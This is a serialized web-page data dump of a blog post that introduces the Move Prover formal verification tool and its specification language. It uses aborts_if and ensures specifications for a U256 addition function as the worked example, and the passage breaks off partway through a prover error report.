specifications.",{"src":11639,"height":11640,"width":8110},"/posts/move-prover/move-prover-title.jpg",1019,"2022-09-16",[11643,19],"move",{"type":21,"children":11645,"toc":15964},[11646,11665,11677,11683,11688,11693,11698,11707,11712,11726,11731,11737,11742,11756,11761,11897,11910,11915,11936,11968,11979,11984,11989,11999,12011,12352,12366,12384,12429,12442,12461,12633,12638,12643,12667,12672,13273,13285,13297,13302,13316,13321,13334,13375,13380,13412,13417,13422,13435,13820,13847,14054,14059,14071,14307,14312,14320,14339,14685,14690,14847,14852,14859,14873,14879,14884,14889,14895,14908,15140,15146,15151,15171,15439,15444,15450,15462,15467,15481,15487,15523,15623,15644,15650,15655,15660,15912,15917,15935,15939,15944,15949,15960],{"type":24,"tag":25,"props":11647,"children":11648},{},[11649,11651,11656,11658,11663],{"type":29,"value":11650},"Formal verification -- a powerful tool for ",{"type":24,"tag":842,"props":11652,"children":11653},{},[11654],{"type":29,"value":11655},"proving",{"type":29,"value":11657}," the correctness of your programs. How does it ",{"type":24,"tag":842,"props":11659,"children":11660},{},[11661],{"type":29,"value":11662},"actually",{"type":29,"value":11664}," work? This blog post will provide practical tips to help you use the Move Prover to its fullest potential, as well as explore a real-world example of how we used formal verification to secure a smart contract.",{"type":24,"tag":25,"props":11666,"children":11667},{},[11668,11670,11675],{"type":29,"value":11669},"At a high level, formal verification allows you to provide a specification for the program. This specification is then checked against symbolic inputs, allowing you to prove that your code follows the specification for ",{"type":24,"tag":842,"props":11671,"children":11672},{},[11673],{"type":29,"value":11674},"all",{"type":29,"value":11676}," possible inputs.",{"type":24,"tag":850,"props":11678,"children":11680},{"id":11679},"move-prover",[11681],{"type":29,"value":11682},"Move Prover",{"type":24,"tag":25,"props":11684,"children":11685},{},[11686],{"type":29,"value":11687},"The Move Prover is an automated tool that allows developers to formally verify smart contracts written in the Move programming language.",{"type":24,"tag":25,"props":11689,"children":11690},{},[11691],{"type":29,"value":11692},"Move was primarily designed to facilitate automatic verification. Interestingly, the Move Prove operates on the Move bytecode itself, avoiding potential compiler bugs from interfering with prover correctness.",{"type":24,"tag":25,"props":11694,"children":11695},{},[11696],{"type":29,"value":11697},"The architecture of the tool consists of multiple components as illustrated below.",{"type":24,"tag":25,"props":11699,"children":11700},{},[11701],{"type":24,"tag":6301,"props":11702,"children":11706},{"alt":11703,"src":11704,"title":11705},"Move Prover arch","https://i.imgur.com/ti4vkTu.png","Move Prover Architecture",[],{"type":24,"tag":25,"props":11708,"children":11709},{},[11710],{"type":29,"value":11711},"First, the Move prover receives a Move source file (an input) that contains specifications of the intended behavior of the program. Those specifications are then extracted from the annotated source by the Move Parser. Consequently, the tool compiles the source code into Move bytecode which is verified and converted into a prover object model plus the specification system \"blueprint\".",{"type":24,"tag":25,"props":11713,"children":11714},{},[11715,11717,11724],{"type":29,"value":11716},"The model is translated into an intermediate language, called ",{"type":24,"tag":69,"props":11718,"children":11721},{"href":11719,"rel":11720},"https://www.microsoft.com/en-us/research/project/boogie-an-intermediate-verification-language/",[73],[11722],{"type":29,"value":11723},"Boogie",{"type":29,"value":11725},". This Boogie code is then passed to the Boogie verification system which generates the input for the solver using a \"verification condition generation\". The verification condition (VC) is passed to an automated theorem prover (Z3).",{"type":24,"tag":25,"props":11727,"children":11728},{},[11729],{"type":29,"value":11730},"Once the VC is passed to the Z3, the prover checks if the SMT formula is unsatisfiable. If so, it means that the specifications hold. Otherwise, a model that satisfies the conditions is generated and converted back into Boogie format in order to issue a diagnosis report. The diagnosis report is then reverted to a source-level error which parallels a standard compiler error.",{"type":24,"tag":850,"props":11732,"children":11734},{"id":11733},"move-specification-language",[11735],{"type":29,"value":11736},"Move Specification Language",{"type":24,"tag":25,"props":11738,"children":11739},{},[11740],{"type":29,"value":11741},"Move MSL is a subset of the Move Language, which introduces support to statically describe the behavior about the correctness of a program with no implications on production.",{"type":24,"tag":25,"props":11743,"children":11744},{},[11745,11747,11754],{"type":29,"value":11746},"To better understand how to use the MSL, we will use ",{"type":24,"tag":69,"props":11748,"children":11751},{"href":11749,"rel":11750},"https://github.com/pontem-network/u256",[73],[11752],{"type":29,"value":11753},"Pontem's U256 library",{"type":29,"value":11755},", an open source Move library which implements support for U256 numbers, as a case study.",{"type":24,"tag":25,"props":11757,"children":11758},{},[11759],{"type":29,"value":11760},"The U256 number is implemented as a struct which contains 4 u64 numbers.",{"type":24,"tag":80,"props":11762,"children":11764},{"code":11763,"language":84,"meta":7,"className":82,"style":7},"struct U256 has copy, drop, store {\n v0: u64,\n v1: u64,\n v2: u64,\n v3: u64,\n}\n",[11765],{"type":24,"tag":32,"props":11766,"children":11767},{"__ignoreMap":7},[11768,11810,11830,11850,11870,11890],{"type":24,"tag":90,"props":11769,"children":11770},{"class":92,"line":93},[11771,11775,11779,11784,11789,11793,11798,11802,11806],{"type":24,"tag":90,"props":11772,"children":11773},{"style":97},[11774],{"type":29,"value":3050},{"type":24,"tag":90,"props":11776,"children":11777},{"style":146},[11778],{"type":29,"value":7116},{"type":24,"tag":90,"props":11780,"children":11781},{"style":136},[11782],{"type":29,"value":11783}," has",{"type":24,"tag":90,"props":11785,"children":11786},{"style":136},[11787],{"type":29,"value":11788}," copy",{"type":24,"tag":90,"props":11790,"children":11791},{"style":114},[11792],{"type":29,"value":133},{"type":24,"tag":90,"props":11794,"children":11795},{"style":136},[11796],{"type":29,"value":11797},"drop",{"type":24,"tag":90,"props":11799,"children":11800},{"style":114},[11801],{"type":29,"value":133},{"type":24,"tag":90,"props":11803,"children":11804},{"style":136},[11805],{"type":29,"value":8326},{"type":24,"tag":90,"props":11807,"children":11808},{"style":114},[11809],{"type":29,"value":269},{"type":24,"tag":90,"props":11811,"children":11812},{"class":92,"line":200},[11813,11818,11822,11826],{"type":24,"tag":90,"props":11814,"children":11815},{"style":136},[11816],{"type":29,"value":11817}," v0",{"type":24,"tag":90,"props":11819,"children":11820},{"style":120},[11821],{"type":29,"value":78},{"type":24,"tag":90,"props":11823,"children":11824},{"style":146},[11825],{"type":29,"value":376},{"type":24,"tag":90,"props":11827,"children":11828},{"style":114},[11829],{"type":29,"value":748},{"type":24,"tag":90,"props":11831,"children":11832},{"class":92,"line":239},[11833,11838,11842,11846],{"type":24,"tag":90,"props":11834,"children":11835},{"style":136},[11836],{"type":29,"value":11837}," v1",{"type":24,"tag":90,"props":11839,"children":11840},{"style":120},[11841],{"type":29,"value":78},{"type":24,"tag":90,"props":11843,"children":11844},{"style":146},[11845],{"type":29,"value":376},{"type":24,"tag":90,"props":11847,"children":11848},{"style":114},[11849],{"type":29,"value":748},{"type":24,"tag":90,"props":11851,"children":11852},{"class":92,"line":248},[11853,11858,11862,11866],{"type":24,"tag":90,"props":11854,"children":11855},{"style":136},[11856],{"type":29,"value":11857}," v2",{"type":24,"tag":90,"props":11859,"children":11860},{"style":120},[11861],{"type":29,"value":78},{"type":24,"tag":90,"props":11863,"children":11864},{"style":146},[11865],{"type":29,"value":376},{"type":24,"tag":90,"props":11867,"children":11868},{"style":114},[11869],{"type":29,"value":748},{"type":24,"tag":90,"props":11871,"children":11872},{"class":92,"line":258},[11873,11878,11882,11886],{"type":24,"tag":90,"props":11874,"children":11875},{"style":136},[11876],{"type":29,"value":11877}," v3",{"type":24,"tag":90,"props":11879,"children":11880},{"style":120},[11881],{"type":29,"value":78},{"type":24,"tag":90,"props":11883,"children":11884},{"style":146},[11885],{"type":29,"value":376},{"type":24,"tag":90,"props":11887,"children":11888},{"style":114},[11889],{"type":29,"value":748},{"type":24,"tag":90,"props":11891,"children":11892},{"class":92,"line":272},[11893],{"type":24,"tag":90,"props":11894,"children":11895},{"style":114},[11896],{"type":29,"value":827},{"type":24,"tag":25,"props":11898,"children":11899},{},[11900,11902,11908],{"type":29,"value":11901},"Now, let's consider the ",{"type":24,"tag":32,"props":11903,"children":11905},{"className":11904},[],[11906],{"type":29,"value":11907},"add(a: U256, b: U256): U256",{"type":29,"value":11909}," function. In order to verify the correctness of such a function, it might be useful to verify some of the group axioms, for example: commutativity and associativity.",{"type":24,"tag":25,"props":11911,"children":11912},{},[11913],{"type":29,"value":11914},"Specifications are declared in a specification block, which can be found in Move functions, as module member, or in a different file as a separate specification module.",{"type":24,"tag":25,"props":11916,"children":11917},{},[11918,11920,11926,11928,11935],{"type":29,"value":11919},"For example, if your file is ",{"type":24,"tag":32,"props":11921,"children":11923},{"className":11922},[],[11924],{"type":29,"value":11925},"sources/u256.move",{"type":29,"value":11927},", you can put specifications in ",{"type":24,"tag":69,"props":11929,"children":11932},{"href":11930,"rel":11931},"https://github.com/pontem-network/u256/blob/main/sources/u256.spec.move",[73],[11933],{"type":29,"value":11934},"sources/u256.spec.move",{"type":29,"value":226},{"type":24,"tag":80,"props":11937,"children":11939},{"code":11938,"language":84,"meta":7,"className":82,"style":7},"spec add { ... }\n",[11940],{"type":24,"tag":32,"props":11941,"children":11942},{"__ignoreMap":7},[11943],{"type":24,"tag":90,"props":11944,"children":11945},{"class":92,"line":93},[11946,11950,11955,11959,11963],{"type":24,"tag":90,"props":11947,"children":11948},{"style":136},[11949],{"type":29,"value":10652},{"type":24,"tag":90,"props":11951,"children":11952},{"style":136},[11953],{"type":29,"value":11954}," add",{"type":24,"tag":90,"props":11956,"children":11957},{"style":114},[11958],{"type":29,"value":1196},{"type":24,"tag":90,"props":11960,"children":11961},{"style":120},[11962],{"type":29,"value":3013},{"type":24,"tag":90,"props":11964,"children":11965},{"style":114},[11966],{"type":29,"value":11967}," }\n",{"type":24,"tag":25,"props":11969,"children":11970},{},[11971,11973,11978],{"type":29,"value":11972},"The specifications placed inside the specification blocks are considered ",{"type":24,"tag":842,"props":11974,"children":11975},{},[11976],{"type":29,"value":11977},"Expressions",{"type":29,"value":226},{"type":24,"tag":1019,"props":11980,"children":11982},{"id":11981},"expressions",[11983],{"type":29,"value":11977},{"type":24,"tag":25,"props":11985,"children":11986},{},[11987],{"type":29,"value":11988},"Let's go over some common expressions.",{"type":24,"tag":25,"props":11990,"children":11991},{},[11992,11997],{"type":24,"tag":32,"props":11993,"children":11995},{"className":11994},[],[11996],{"type":29,"value":10702},{"type":29,"value":11998}," defines when the function can abort. This is especially useful in the context of smart contract development, where an abort would cause the entire transaction to rollback.",{"type":24,"tag":25,"props":12000,"children":12001},{},[12002,12004,12009],{"type":29,"value":12003},"For example, the ",{"type":24,"tag":32,"props":12005,"children":12007},{"className":12006},[],[12008],{"type":29,"value":1505},{"type":29,"value":12010}," function aborts if and only if the U256 addition overflows. Let's put these words into an expression:",{"type":24,"tag":80,"props":12012,"children":12014},{"code":12013,"language":84,"meta":7,"className":82,"style":7},"const P64: u128 = 0x10000000000000000;\n\nspec fun value_of_U256(a: U256): num {\n a.v0 +\n a.v1 * P64 +\n a.v2 * P64 * P64 +\n a.v3 * P64 * P64 * P64\n}\n\nspec add {\n aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n}\n",[12015],{"type":24,"tag":32,"props":12016,"children":12017},{"__ignoreMap":7},[12018,12051,12058,12107,12129,12158,12194,12235,12242,12249,12264,12345],{"type":24,"tag":90,"props":12019,"children":12020},{"class":92,"line":93},[12021,12025,12030,12034,12038,12042,12047],{"type":24,"tag":90,"props":12022,"children":12023},{"style":97},[12024],{"type":29,"value":508},{"type":24,"tag":90,"props":12026,"children":12027},{"style":114},[12028],{"type":29,"value":12029}," P64",{"type":24,"tag":90,"props":12031,"children":12032},{"style":120},[12033],{"type":29,"value":78},{"type":24,"tag":90,"props":12035,"children":12036},{"style":146},[12037],{"type":29,"value":11220},{"type":24,"tag":90,"props":12039,"children":12040},{"style":120},[12041],{"type":29,"value":216},{"type":24,"tag":90,"props":12043,"children":12044},{"style":349},[12045],{"type":29,"value":12046}," 0x10000000000000000",{"type":24,"tag":90,"props":12048,"children":12049},{"style":114},[12050],{"type":29,"value":381},{"type":24,"tag":90,"props":12052,"children":12053},{"class":92,"line":200},[12054],{"type":24,"tag":90,"props":12055,"children":12056},{"emptyLinePlaceholder":16},[12057],{"type":29,"value":245},{"type":24,"tag":90,"props":12059,"children":12060},{"class":92,"line":239},[12061,12065,12069,12074,12078,12082,12086,12090,12094,12098,12103],{"type":24,"tag":90,"props":12062,"children":12063},{"style":136},[12064],{"type":29,"value":10652},{"type":24,"tag":90,"props":12066,"children":12067},{"style":136},[12068],{"type":29,"value":8592},{"type":24,"tag":90,"props":12070,"children":12071},{"style":108},[12072],{"type":29,"value":12073}," value_of_U256",{"type":24,"tag":90,"props":12075,"children":12076},{"style":114},[12077],{"type":29,"value":117},{"type":24,"tag":90,"props":12079,"children":12080},{"style":136},[12081],{"type":29,"value":69},{"type":24,"tag":90,"props":12083,"children":12084},{"style":120},[12085],{"type":29,"value":78},{"type":24,"tag":90,"props":12087,"children":12088},{"style":146},[12089],{"type":29,"value":7116},{"type":24,"tag":90,"props":12091,"children":12092},{"style":114},[12093],{"type":29,"value":517},{"type":24,"tag":90,"props":12095,"children":12096},{"style":120},[12097],{"type":29,"value":78},{"type":24,"tag":90,"props":12099,"children":12100},{"style":136},[12101],{"type":29,"value":12102}," num",{"type":24,"tag":90,"props":12104,"children":12105},{"style":114},[12106],{"type":29,"value":269},{"type":24,"tag":90,"props":12108,"children":12109},{"class":92,"line":248},[12110,12115,12119,12124],{"type":24,"tag":90,"props":12111,"children":12112},{"style":136},[12113],{"type":29,"value":12114}," a",{"type":24,"tag":90,"props":12116,"children":12117},{"style":120},[12118],{"type":29,"value":226},{"type":24,"tag":90,"props":12120,"children":12121},{"style":114},[12122],{"type":29,"value":12123},"v0 ",{"type":24,"tag":90,"props":12125,"children":12126},{"style":120},[12127],{"type":29,"value":12128},"+\n",{"type":24,"tag":90,"props":12130,"children":12131},{"class":92,"line":258},[12132,12136,12140,12145,12149,12153],{"type":24,"tag":90,"props":12133,"children":12134},{"style":136},[12135],{"type":29,"value":12114},{"type":24,"tag":90,"props":12137,"children":12138},{"style":120},[12139],{"type":29,"value":226},{"type":24,"tag":90,"props":12141,"children":12142},{"style":114},[12143],{"type":29,"value":12144},"v1 ",{"type":24,"tag":90,"props":12146,"children":12147},{"style":120},[12148],{"type":29,"value":983},{"type":24,"tag":90,"props":12150,"children":12151},{"style":146},[12152],{"type":29,"value":12029},{"type":24,"tag":90,"props":12154,"children":12155},{"style":120},[12156],{"type":29,"value":12157}," +\n",{"type":24,"tag":90,"props":12159,"children":12160},{"class":92,"line":272},[12161,12165,12169,12174,12178,12182,12186,12190],{"type":24,"tag":90,"props":12162,"children":12163},{"style":136},[12164],{"type":29,"value":12114},{"type":24,"tag":90,"props":12166,"children":12167},{"style":120},[12168],{"type":29,"value":226},{"type":24,"tag":90,"props":12170,"children":12171},{"style":114},[12172],{"type":29,"value":12173},"v2 ",{"type":24,"tag":90,"props":12175,"children":12176},{"style":120},[12177],{"type":29,"value":983},{"type":24,"tag":90,"props":12179,"children":12180},{"style":146},[12181],{"type":29,"value":12029},{"type":24,"tag":90,"props":12183,"children":12184},{"style":120},[12185],{"type":29,"value":366},{"type":24,"tag":90,"props":12187,"children":12188},{"style":146},[12189],{"type":29,"value":12029},{"type":24,"tag":90,"props":12191,"children":12192},{"style":120},[12193],{"type":29,"value":12157},{"type":24,"tag":90,"props":12195,"children":12196},{"class":92,"line":281},[12197,12201,12205,12210,12214,12218,12222,12226,12230],{"type":24,"tag":90,"props":12198,"children":12199},{"style":136},[12200],{"type":29,"value":12114},{"type":24,"tag":90,"props":12202,"children":12203},{"style":120},[12204],{"type":29,"value":226},{"type":24,"tag":90,"props":12206,"children":12207},{"style":114},[12208],{"type":29,"value":12209},"v3 ",{"type":24,"tag":90,"props":12211,"children":12212},{"style":120},[12213],{"type":29,"value":983},{"type":24,"tag":90,"props":12215,"children":12216},{"style":146},[12217],{"type":29,"value":12029},{"type":24,"tag":90,"props":12219,"children":12220},{"style":120},[12221],{"type":29,"value":366},{"type":24,"tag":90,"props":12223,"children":12224},{"style":146},[12225],{"type":29,"value":12029},{"type":24,"tag":90,"props":12227,"children":12228},{"style":120},[12229],{"type":29,"value":366},{"type":24,"tag":90,"props":12231,"children":12232},{"style":146},[12233],{"type":29,"value":12234}," P64\n",{"type":24,"tag":90,"props":12236,"children":12237},{"class":92,"line":384},[12238],{"type":24,"tag":90,"props":12239,"children":12240},{"style":114},[12241],{"type":29,"value":827},{"type":24,"tag":90,"props":12243,"children":12244},{"class":92,"line":420},[12245],{"type":24,"tag":90,"props":12246,"children":12247},{"emptyLinePlaceholder":16},[12248],{"type":29,"value":245},{"type":24,"tag":90,"props":12250,"children":12251},{"class":92,"line":428},[12252,12256,12260],{"type":24,"tag":90,"props":12253,"children":12254},{"style":136},[12255],{"type":29,"value":10652},{"type":24,"tag":90,"props":12257,"children":12258},{"style":136},[12259],{"type":29,"value":11954},{"type":24,"tag":90,"props":12261,"children":12262},{"style":114},[12263],{"type":29,"value":269},{"type":24,"tag":90,"props":12265,"children":12266},{"class":92,"line":437},[12267,12272,12276,12280,12284,12288,12292,12296,12300,12304,12308,12313,12317,12321,12325,12329,12333,12337,12341],{"type":24,"tag":90,"props":12268,"children":12269},{"style":136},[12270],{"type":29,"value":12271}," aborts_if",{"type":24,"tag":90,"props":12273,"children":12274},{"style":108},[12275],{"type":29,"value":12073},{"type":24,"tag":90,"props":12277,"children":12278},{"style":114},[12279],{"type":29,"value":117},{"type":24,"tag":90,"props":12281,"children":12282},{"style":136},[12283],{"type":29,"value":69},{"type":24,"tag":90,"props":12285,"children":12286},{"style":114},[12287],{"type":29,"value":172},{"type":24,"tag":90,"props":12289,"children":12290},{"style":120},[12291],{"type":29,"value":6767},{"type":24,"tag":90,"props":12293,"children":12294},{"style":108},[12295],{"type":29,"value":12073},{"type":24,"tag":90,"props":12297,"children":12298},{"style":114},[12299],{"type":29,"value":117},{"type":24,"tag":90,"props":12301,"children":12302},{"style":136},[12303],{"type":29,"value":5617},{"type":24,"tag":90,"props":12305,"children":12306},{"style":114},[12307],{"type":29,"value":172},{"type":24,"tag":90,"props":12309,"children":12310},{"style":120},[12311],{"type":29,"value":12312},">=",{"type":24,"tag":90,"props":12314,"children":12315},{"style":146},[12316],{"type":29,"value":12029},{"type":24,"tag":90,"props":12318,"children":12319},{"style":120},[12320],{"type":29,"value":366},{"type":24,"tag":90,"props":12322,"children":12323},{"style":146},[12324],{"type":29,"value":12029},{"type":24,"tag":90,"props":12326,"children":12327},{"style":120},[12328],{"type":29,"value":366},{"type":24,"tag":90,"props":12330,"children":12331},{"style":146},[12332],{"type":29,"value":12029},{"type":24,"tag":90,"props":12334,"children":12335},{"style":120},[12336],{"type":29,"value":366},{"type":24,"tag":90,"props":12338,"children":12339},{"style":146},[12340],{"type":29,"value":12029},{"type":24,"tag":90,"props":12342,"children":12343},{"style":114},[12344],{"type":29,"value":381},{"type":24,"tag":90,"props":12346,"children":12347},{"class":92,"line":574},[12348],{"type":24,"tag":90,"props":12349,"children":12350},{"style":114},[12351],{"type":29,"value":827},{"type":24,"tag":25,"props":12353,"children":12354},{},[12355,12357,12364],{"type":29,"value":12356},"We can observe in the snippet above, that we are allowed to call functions inside the spec block. However, the callee must either be an ",{"type":24,"tag":69,"props":12358,"children":12361},{"href":12359,"rel":12360},"https://github.com/move-language/move/blob/f7d5b1a3f4d622c17f540190fa4fa12323cb0bb8/language/move-prover/doc/user/spec-lang.md#builtin-functions",[73],[12362],{"type":29,"value":12363},"MSL function",{"type":29,"value":12365},", or a pure Move function. A pure Move function can be defined as a function that does not modify the global state or use Move expression features unsupported by MSL.",{"type":24,"tag":25,"props":12367,"children":12368},{},[12369,12371,12376,12377,12382],{"type":29,"value":12370},"A common pattern for ",{"type":24,"tag":32,"props":12372,"children":12374},{"className":12373},[],[12375],{"type":29,"value":10702},{"type":29,"value":67},{"type":24,"tag":32,"props":12378,"children":12380},{"className":12379},[],[12381],{"type":29,"value":10710},{"type":29,"value":12383},", which lets you prove that a function will never abort.",{"type":24,"tag":80,"props":12385,"children":12387},{"code":12386,"language":84,"meta":7,"className":82,"style":7},"spec critical_function {\n aborts_if false;\n}\n",[12388],{"type":24,"tag":32,"props":12389,"children":12390},{"__ignoreMap":7},[12391,12407,12422],{"type":24,"tag":90,"props":12392,"children":12393},{"class":92,"line":93},[12394,12398,12403],{"type":24,"tag":90,"props":12395,"children":12396},{"style":136},[12397],{"type":29,"value":10652},{"type":24,"tag":90,"props":12399,"children":12400},{"style":136},[12401],{"type":29,"value":12402}," critical_function",{"type":24,"tag":90,"props":12404,"children":12405},{"style":114},[12406],{"type":29,"value":269},{"type":24,"tag":90,"props":12408,"children":12409},{"class":92,"line":200},[12410,12414,12418],{"type":24,"tag":90,"props":12411,"children":12412},{"style":136},[12413],{"type":29,"value":12271},{"type":24,"tag":90,"props":12415,"children":12416},{"style":97},[12417],{"type":29,"value":11431},{"type":24,"tag":90,"props":12419,"children":12420},{"style":114},[12421],{"type":29,"value":381},{"type":24,"tag":90,"props":12423,"children":12424},{"class":92,"line":239},[12425],{"type":24,"tag":90,"props":12426,"children":12427},{"style":114},[12428],{"type":29,"value":827},{"type":24,"tag":25,"props":12430,"children":12431},{},[12432,12434,12440],{"type":29,"value":12433},"Another type of expression that we can use is ",{"type":24,"tag":32,"props":12435,"children":12437},{"className":12436},[],[12438],{"type":29,"value":12439},"ensures",{"type":29,"value":12441},". As the name suggests, it ensures that a certain condition is true at the end of a function's execution.",{"type":24,"tag":25,"props":12443,"children":12444},{},[12445,12447,12452,12454,12459],{"type":29,"value":12446},"In the case of the ",{"type":24,"tag":32,"props":12448,"children":12450},{"className":12449},[],[12451],{"type":29,"value":1505},{"type":29,"value":12453}," function, we want to ensure that the return value is the sum of the 2 parameters. Note that because ",{"type":24,"tag":7711,"props":12455,"children":12456},{},[12457],{"type":29,"value":12458},"MSL uses unbounded numbers",{"type":29,"value":12460},", we're able to very cleanly express this property without worrying about overflows.",{"type":24,"tag":80,"props":12462,"children":12464},{"code":12463,"language":84,"meta":7,"className":82,"style":7},"spec add {\n aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n ensures value_of_U256(result) == value_of_U256(a) + value_of_U256(b);\n}\n",[12465],{"type":24,"tag":32,"props":12466,"children":12467},{"__ignoreMap":7},[12468,12483,12562,12626],{"type":24,"tag":90,"props":12469,"children":12470},{"class":92,"line":93},[12471,12475,12479],{"type":24,"tag":90,"props":12472,"children":12473},{"style":136},[12474],{"type":29,"value":10652},{"type":24,"tag":90,"props":12476,"children":12477},{"style":136},[12478],{"type":29,"value":11954},{"type":24,"tag":90,"props":12480,"children":12481},{"style":114},[12482],{"type":29,"value":269},{"type":24,"tag":90,"props":12484,"children":12485},{"class":92,"line":200},[12486,12490,12494,12498,12502,12506,12510,12514,12518,12522,12526,12530,12534,12538,12542,12546,12550,12554,12558],{"type":24,"tag":90,"props":12487,"children":12488},{"style":136},[12489],{"type":29,"value":12271},{"type":24,"tag":90,"props":12491,"children":12492},{"style":108},[12493],{"type":29,"value":12073},{"type":24,"tag":90,"props":12495,"children":12496},{"style":114},[12497],{"type":29,"value":117},{"type":24,"tag":90,"props":12499,"children":12500},{"style":136},[12501],{"type":29,"value":69},{"type":24,"tag":90,"props":12503,"children":12504},{"style":114},[12505],{"type":29,"value":172},{"type":24,"tag":90,"props":12507,"children":12508},{"style":120},[12509],{"type":29,"value":6767},{"type":24,"tag":90,"props":12511,"children":12512},{"style":108},[12513],{"type":29,"value":12073},{"type":24,"tag":90,"props":12515,"children":12516},{"style":114},[12517],{"type":29,"value":117},{"type":24,"tag":90,"props":12519,"children":12520},{"style":136},[12521],{"type":29,"value":5617},{"type":24,"tag":90,"props":12523,"children":12524},{"style":114},[12525],{"type":29,"value":172},{"type":24,"tag":90,"props":12527,"children":12528},{"style":120},[12529],{"type":29,"value":12312},{"type":24,"tag":90,"props":12531,"children":12532},{"style":146},[12533],{"type":29,"value":12029},{"type":24,"tag":90,"props":12535,"children":12536},{"style":120},[12537],{"type":29,"value":366},{"type":24,"tag":90,"props":12539,"children":12540},{"style":146},[12541],{"type":29,"value":12029},{"type":24,"tag":90,"props":12543,"children":12544},{"style":120},[12545],{"type":29,"value":366},{"type":24,"tag":90,"props":12547,"children":12548},{"style":146},[12549],{"type":29,"value":12029},{"type":24,"tag":90,"props":12551,"children":12552},{"style":120},[12553],{"type":29,"value":366},{"type":24,"tag":90,"props":12555,"children":12556},{"style":146},[12557],{"type":29,"value":12029},{"type":24,"tag":90,"props":12559,"children":12560},{"style":114},[12561],{"type":29,"value":381},{"type":24,"tag":90,"props":12563,"children":12564},{"class":92,"line":239},[12565,12570,12574,12578,12582,12586,12590,12594,12598,12602,12606,12610,12614,12618,12622],{"type":24,"tag":90,"props":12566,"children":12567},{"style":136},[12568],{"type":29,"value":12569}," ensures",{"type":24,"tag":90,"props":12571,"children":12572},{"style":108},[12573],{"type":29,"value":12073},{"type":24,"tag":90,"props":12575,"children":12576},{"style":114},[12577],{"type":29,"value":117},{"type":24,"tag":90,"props":12579,"children":12580},{"style":136},[12581],{"type":29,"value":11456},{"type":24,"tag":90,"props":12583,"children":12584},{"style":114},[12585],{"type":29,"value":172},{"type":24,"tag":90,"props":12587,"children":12588},{"style":120},[12589],{"type":29,"value":10951},{"type":24,"tag":90,"props":12591,"children":12592},{"style":108},[12593],{"type":29,"value":12073},{"type":24,"tag":90,"props":12595,"children":12596},{"style":114},[12597],{"type":29,"value":117},{"type":24,"tag":90,"props":12599,"children":12600},{"style":136},[12601],{"type":29,"value":69},{"type":24,"tag":90,"props":12603,"children":12604},{"style":114},[12605],{"type":29,"value":172},{"type":24,"tag":90,"props":12607,"children":12608},{"style":120},[12609],{"type":29,"value":6767},{"type":24,"tag":90,"props":12611,"children":12612},{"style":108},[12613],{"type":29,"value":12073},{"type":24,"tag":90,"props":12615,"children":12616},{"style":114},[12617],{"type":29,"value":117},{"type":24,"tag":90,"props":12619,"children":12620},{"style":136},[12621],{"type":29,"value":5617},{"type":24,"tag":90,"props":12623,"children":12624},{"style":114},[12625],{"type":29,"value":571},{"type":24,"tag":90,"props":12627,"children":12628},{"class":92,"line":248},[12629],{"type":24,"tag":90,"props":12630,"children":12631},{"style":114},[12632],{"type":29,"value":827},{"type":24,"tag":25,"props":12634,"children":12635},{},[12636],{"type":29,"value":12637},"Note that because Move specification functions are written in MSL, the numbers are unbounded and we can define the expression without risk of overflow.",{"type":24,"tag":25,"props":12639,"children":12640},{},[12641],{"type":29,"value":12642},"Let's try to prove the library with the specifications from above:",{"type":24,"tag":80,"props":12644,"children":12646},{"code":12645,"language":6629,"meta":7,"className":6630,"style":7},"$ move prove\n",[12647],{"type":24,"tag":32,"props":12648,"children":12649},{"__ignoreMap":7},[12650],{"type":24,"tag":90,"props":12651,"children":12652},{"class":92,"line":93},[12653,12657,12662],{"type":24,"tag":90,"props":12654,"children":12655},{"style":108},[12656],{"type":29,"value":1201},{"type":24,"tag":90,"props":12658,"children":12659},{"style":1085},[12660],{"type":29,"value":12661}," move",{"type":24,"tag":90,"props":12663,"children":12664},{"style":1085},[12665],{"type":29,"value":12666}," prove\n",{"type":24,"tag":25,"props":12668,"children":12669},{},[12670],{"type":29,"value":12671},"It outputs the following error information:",{"type":24,"tag":80,"props":12673,"children":12675},{"code":12674,"language":6629,"meta":7,"className":6630,"style":7},"[...]\n\nerror: abort not covered by any of the `aborts_if` clauses\n╭ spec add {\n| aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n| ensures value_of_U256(result) == value_of_U256(a) + value_of_U256(b);\n| }\n╰─────^\n\n[...]\n\n at ./sources/u256.move:316: add\n enter loop, variable(s) carry, i, ret havocked and reassigned\n carry = 54\n i = 3792\n ret = u256.U256{v0 = 26418, v1 = 27938, v2 = 6900, v3 = 1999}\n at ./sources/u256.move:346: add\n ABORTED\n\nFAILURE proving 1 modules from package `u256` in 9.143s\n{\n \"Error\": \"Move Prover failed: exiting with verification errors\"\n}\n",[12676],{"type":24,"tag":32,"props":12677,"children":12678},{"__ignoreMap":7},[12679,12687,12694,12756,12777,12867,12935,12947,12955,12962,12969,12976,12994,13055,13072,13089,13161,13177,13185,13192,13242,13249,13266],{"type":24,"tag":90,"props":12680,"children":12681},{"class":92,"line":93},[12682],{"type":24,"tag":90,"props":12683,"children":12684},{"style":114},[12685],{"type":29,"value":12686},"[...]\n",{"type":24,"tag":90,"props":12688,"children":12689},{"class":92,"line":200},[12690],{"type":24,"tag":90,"props":12691,"children":12692},{"emptyLinePlaceholder":16},[12693],{"type":29,"value":245},{"type":24,"tag":90,"props":12695,"children":12696},{"class":92,"line":239},[12697,12702,12707,12712,12717,12722,12727,12732,12737,12742,12746,12751],{"type":24,"tag":90,"props":12698,"children":12699},{"style":108},[12700],{"type":29,"value":12701},"error:",{"type":24,"tag":90,"props":12703,"children":12704},{"style":1085},[12705],{"type":29,"value":12706}," abort",{"type":24,"tag":90,"props":12708,"children":12709},{"style":1085},[12710],{"type":29,"value":12711}," not",{"type":24,"tag":90,"props":12713,"children":12714},{"style":1085},[12715],{"type":29,"value":12716}," covered",{"type":24,"tag":90,"props":12718,"children":12719},{"style":1085},[12720],{"type":29,"value":12721}," by",{"type":24,"tag":90,"props":12723,"children":12724},{"style":1085},[12725],{"type":29,"value":12726}," any",{"type":24,"tag":90,"props":12728,"children":12729},{"style":1085},[12730],{"type":29,"value":12731}," of",{"type":24,"tag":90,"props":12733,"children":12734},{"style":1085},[12735],{"type":29,"value":12736}," the",{"type":24,"tag":90,"props":12738,"children":12739},{"style":1085},[12740],{"type":29,"value":12741}," 